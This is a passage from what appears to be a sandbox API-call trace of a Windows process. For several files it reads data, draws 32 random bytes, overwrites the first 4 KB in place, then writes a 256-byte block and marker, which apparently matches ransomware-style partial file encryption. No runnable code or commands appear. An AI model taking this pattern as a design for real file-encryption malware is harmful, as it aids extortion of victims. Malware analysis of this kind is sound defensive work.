hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.052] GetProcessHeap () returned 0x540000 [0081.052] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.053] GetProcessHeap () returned 0x540000 [0081.053] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.205] GetProcessHeap () returned 0x540000 [0081.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.250] GetProcessHeap () returned 0x540000 [0081.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.258] GetProcessHeap () returned 0x540000 [0081.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.262] SetFilePointerEx (in: hFile=0x7e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.265] WriteFile (in: hFile=0x7e8, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.289] WriteFile (in: hFile=0x7e8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.289] GetProcessHeap () returned 0x540000 [0081.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.290] GetProcessHeap () returned 0x540000 [0081.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.290] GetProcessHeap () returned 0x540000 [0081.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.290] CloseHandle (hObject=0x7e8) returned 1 [0081.291] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 29 [0081.291] SetFilePointerEx (in: hFile=0x7ec, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.291] ReadFile (in: hFile=0x7ec, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.291] SetFilePointerEx (in: hFile=0x7ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.291] GetProcessHeap () returned 0x540000 [0081.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.291] GetProcessHeap () returned 0x540000 [0081.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.291] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.291] GetProcessHeap () returned 0x540000 [0081.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.291] ReadFile (in: hFile=0x7ec, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0081.413] SetFilePointerEx (in: hFile=0x7ec, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.413] WriteFile (in: hFile=0x7ec, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.414] GetProcessHeap () returned 0x540000 [0081.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.414] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.415] GetProcessHeap () returned 0x540000 [0081.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.416] GetProcessHeap () returned 0x540000 [0081.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.416] GetProcessHeap () returned 0x540000 [0081.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.417] GetProcessHeap () returned 0x540000 [0081.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.418] GetProcessHeap () returned 0x540000 [0081.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.418] SetFilePointerEx (in: hFile=0x7ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.418] WriteFile (in: hFile=0x7ec, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.419] WriteFile (in: hFile=0x7ec, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.419] GetProcessHeap () returned 0x540000 [0081.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.419] GetProcessHeap () returned 0x540000 [0081.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.419] GetProcessHeap () returned 0x540000 [0081.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.419] CloseHandle (hObject=0x7ec) returned 1 [0081.420] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 30 [0081.420] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.421] ReadFile (in: hFile=0x7f0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.421] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.421] GetProcessHeap () returned 0x540000 [0081.421] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.421] GetProcessHeap () returned 0x540000 [0081.421] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.421] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.421] GetProcessHeap () returned 0x540000 [0081.421] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.421] ReadFile (in: hFile=0x7f0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0081.488] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.488] WriteFile (in: hFile=0x7f0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.488] GetProcessHeap () returned 0x540000 [0081.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.489] GetProcessHeap () returned 0x540000 [0081.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.489] GetProcessHeap () returned 0x540000 